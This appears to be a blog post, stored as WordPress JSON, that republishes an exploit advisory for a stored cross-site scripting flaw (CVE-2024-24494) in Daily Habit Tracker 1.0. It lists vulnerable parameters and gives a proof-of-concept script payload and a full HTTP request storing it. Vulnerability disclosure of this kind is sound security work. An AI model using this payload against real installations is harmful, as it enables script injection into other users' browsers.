{"id":55802,"date":"2024-04-03T01:11:13","date_gmt":"2024-04-02T21:11:13","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177875\/dht10-xss.txt"},"modified":"2024-04-03T01:11:13","modified_gmt":"2024-04-02T21:11:13","slug":"daily-habit-tracker-1-0-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/daily-habit-tracker-1-0-cross-site-scripting\/","title":{"rendered":"Daily Habit Tracker 1.0 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; Stored Cross-Site Scripting (XSS)<br \/># Date: 2 Feb 2024<br \/># Exploit Author: Yevhenii Butenko<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html<br \/># Version: 1.0<br \/># Tested on: Debian<br \/># CVE : CVE-2024-24494<\/p>\n<p>### Stored Cross-Site Scripting (XSS):<\/p>\n<p>&gt; Stored Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious scripts into a web application&#8217;s database. The malicious script is saved on the server and later rendered in other users&#8217; browsers. When other users access the affected page, the stored script executes, potentially stealing data or compromising user security.<\/p>\n<p>### Affected Components:<\/p>\n<p>&gt; add-tracker.php, update-tracker.php<\/p>\n<p>Vulnerable parameters: <br \/>&#8211; day <br \/>&#8211; exercise <br \/>&#8211; pray <br \/>&#8211; read_book <br \/>&#8211; vitamins <br \/>&#8211; laundry <br \/>&#8211; alcohol <br \/>&#8211; meat<\/p>\n<p>### Description:<\/p>\n<p>&gt; Multiple parameters within `Add Tracker` and `Update Tracker` requests are vulnerable to Stored Cross-Site Scripting. The application failed to sanitize user input while storing it to the database and reflecting back on the page.<\/p>\n<p>## Proof of Concept:<\/p>\n<p>The following payload `&lt;script&gt;alert(&#8216;STORED_XSS&#8217;)&lt;\/script&gt;` can be used in order to exploit the vulnerability.<\/p>\n<p>Below is an example of a request demonstrating how a malicious payload can be stored within the `day` value:<\/p>\n<p>&#8220;`<br \/>POST \/habit-tracker\/endpoint\/add-tracker.php HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 175<br \/>Origin: http:\/\/localhost<br \/>DNT: 1<br \/>Connection: close<br \/>Referer: http:\/\/localhost\/habit-tracker\/home.php<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<\/p>\n<p>date=1992-01-12&amp;day=Tuesday%3Cscript%3Ealert%28%27STORED_XSS%27%29%3C%2Fscript%3E&amp;exercise=Yes&amp;pray=Yes&amp;read_book=Yes&amp;vitamins=Yes&amp;laundry=Yes&amp;alcohol=Yes&amp;meat=Yes<br \/>&#8220;`<\/p>\n<p>![XSS Fired](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/xss.png?raw=true)<\/p>\n<p>## Recommendations<\/p>\n<p>When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; Stored Cross-Site Scripting (XSS)# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https:\/\/www.sourcecodester.com# Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24494 ### Stored Cross-Site Scripting (XSS): &gt; Stored Cross-Site Scripting (XSS) is a web security vulnerability where an attacker injects malicious scripts &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55802","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55802","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55802"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55802\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55802"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55802"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55802"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}